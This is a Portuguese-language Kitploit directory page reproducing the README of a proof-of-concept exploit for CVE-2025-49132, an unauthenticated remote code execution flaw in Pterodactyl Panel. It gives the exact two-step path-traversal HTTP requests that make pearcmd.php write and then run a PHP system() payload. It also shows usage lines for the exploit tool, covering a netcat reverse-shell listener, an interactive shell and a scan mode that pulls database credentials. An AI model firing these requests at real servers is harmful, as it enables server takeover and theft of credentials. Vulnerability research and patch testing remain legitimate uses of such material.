Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Ferramentas/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Ver Repositório
3110há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-49132: RCE não autenticada no Pterodactyl Panel via método PHP PEAR

CVSSv3 License Python

Sumário

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Fluxo do Exploit
  • Instalação
  • Uso
  • Exemplos
  • Mitigação
  • Isenção de Responsabilidade
  • Referências
  • Autor

Visão Geral

Este repositório contém um exploit de prova de conceito (PoC) para CVE-2025-49132, uma vulnerabilidade crítica de execução remota de código não autenticada em versões do Pterodactyl Panel anteriores à 1.11.11.

Pterodactyl Panel é um painel gratuito e de código aberto para gerenciamento de servidores de jogos, desenvolvido em PHP. A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários do sistema no servidor alvo por meio do tratamento inadequado do endpoint /locales/locale.json combinado com a funcionalidade pearcmd.php do PHP PEAR.

Resumo da Vulnerabilidade

  • ID do CVE: CVE-2025-49132
  • Pontuação CVSS: 10.0 (Crítica)
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Controle Incorreto da Geração de Código ('Injeção de Código')
  • Versões Afetadas: Pterodactyl Panel < 1.11.11
  • Complexidade do Ataque: Baixa
  • Privilégios Necessários: Nenhum (não autenticado)
  • Interação do Usuário: Nenhuma

Detalhes da Vulnerabilidade

O que é o PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) é um framework e sistema de distribuição para componentes PHP reutilizáveis. Ele fornece uma ferramenta de linha de comando (pearcmd.php) que pode ser usada para gerenciar pacotes PEAR.

O arquivo pearcmd.php processa comandos por meio de parâmetros de URL e, quando combinado com path traversal (travessia de diretórios), pode ser utilizado para:

  1. Criar arquivos PHP arbitrários no sistema
  2. Executar esses arquivos por meio do servidor web

Causa Raiz

A vulnerabilidade existe porque:

  1. Travessia de Diretórios sem Validação: O parâmetro locale em /locales/locale.json permite travessia de diretórios sem validação adequada
  2. Inclusão Direta de Arquivos: A aplicação inclui diretamente arquivos com base em entrada controlada pelo usuário
  3. Injeção de Comandos no PEAR: O script pearcmd.php aceita o comando +config-create, que pode gravar arquivos PHP arbitrários
  4. Acesso não Autenticado: O endpoint vulnerável não exige autenticação

Vetor de Ataque

Um atacante pode:

  1. Usar travessia de diretórios para alcançar o diretório de instalação do PEAR
  2. Abusar do comando config-create para gravar código PHP malicioso em /tmp
  3. Executar o arquivo PHP malicioso por meio do mesmo endpoint
  4. Obter execução remota de código completa como o usuário do servidor web

Análise Técnica

Processo de Exploração

O exploit funciona em duas etapas:

Etapa 1: Criação do Payload

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Detalhamento:

  • +config-create+/ - Invoca a funcionalidade de criação de configuração do PEAR
  • locale=../../../../../../usr/share/php/PEAR - Travessia de diretórios até o diretório do PEAR
  • namespace=pearcmd - Tem como alvo o arquivo pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - Payload PHP e arquivo de destino

Etapa 2: Execução do Payload

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Detalhamento:

  • locale=../../../../../../tmp - Travessia de diretórios até o diretório /tmp
  • namespace=payload - Inclui e executa payload.php

Por que a Codificação de URL Quebra o Exploit

O exploit exige o envio de caracteres especiais (<, >, ?, =) na URL sem codificação. Se esses caracteres forem codificados na URL:

  • <?=system('id')?> se torna %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • O PEAR interpreta isso como texto literal em vez de código PHP
  • As tags PHP não são reconhecidas, impedindo a execução de código

Fluxo do Exploit

graph TD
    A[Atacante] -->|1. Requisição de Travessia de Diretórios| B[locale.json]
    B -->|2. Travessia até o PEAR| C[pearcmd.php]
    C -->|3. Comando config-create| D[Gravar Payload PHP]
    D -->|4. Criar Arquivo| E[payload.php]
    E -->|5. Arquivo Criado| F[Sistema de Arquivos do Servidor]
    
    A -->|6. Requisição de Execução| G[locale.json]
    G -->|7. Travessia até tmp| E
    E -->|8. Incluir e Executar| H[Interpretador PHP]
    H -->|9. Comando do Sistema| I[Comando Shell]
    I -->|10. Saída do Comando| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagrama do Fluxo de Ataque

sequenceDiagram
    participant Atacante
    participant Servidor Web
    participant PEAR
    participant Sistema de Arquivos
    participant Motor PHP
    
    Atacante->>Servidor Web: GET locale.json com config-create
    Servidor Web->>PEAR: Travessia de diretórios até pearcmd
    PEAR->>Sistema de Arquivos: Criar payload.php
    Sistema de Arquivos-->>Atacante: 200 OK
    
    Atacante->>Servidor Web: GET locale.json com namespace do payload
    Servidor Web->>Sistema de Arquivos: Travessia de diretórios até payload.php
    Sistema de Arquivos->>Motor PHP: Incluir payload
    Motor PHP->>Motor PHP: Executar comando do sistema
    Motor PHP-->>Atacante: Saída do Comando RCE

Instalação

Pré-requisitos

  • Python 3.6 ou superior
  • Biblioteca requests

Clonar o Repositório

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Instalar Dependências

pip3 install -r requirements.txt

Ou manualmente:

pip3 install requests

Uso

Execução Básica de Comandos

python3 poc.py -H <target_host> -c "<command>"

Reverse Shell

# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-Shell Interativo

python3 poc.py -H <target_host> --shell

Fuzzing de Instalações do PEAR

python3 poc.py -H <target_host> --fuzz

Verificação de Vulnerabilidade

python3 poc.py -H <target_host> --scan

Verifica a CVE-2025-49132 por meio de vazamentos de configuração (credenciais do banco de dados, chave do aplicativo).

Caminho PEAR Personalizado

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Saída Detalhada

python3 poc.py -H <target_host> -c "id" -v

Mostra o progresso detalhado (criação do payload, caminho do PEAR, status da execução).

Opções Completas

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
Baixar ferramenta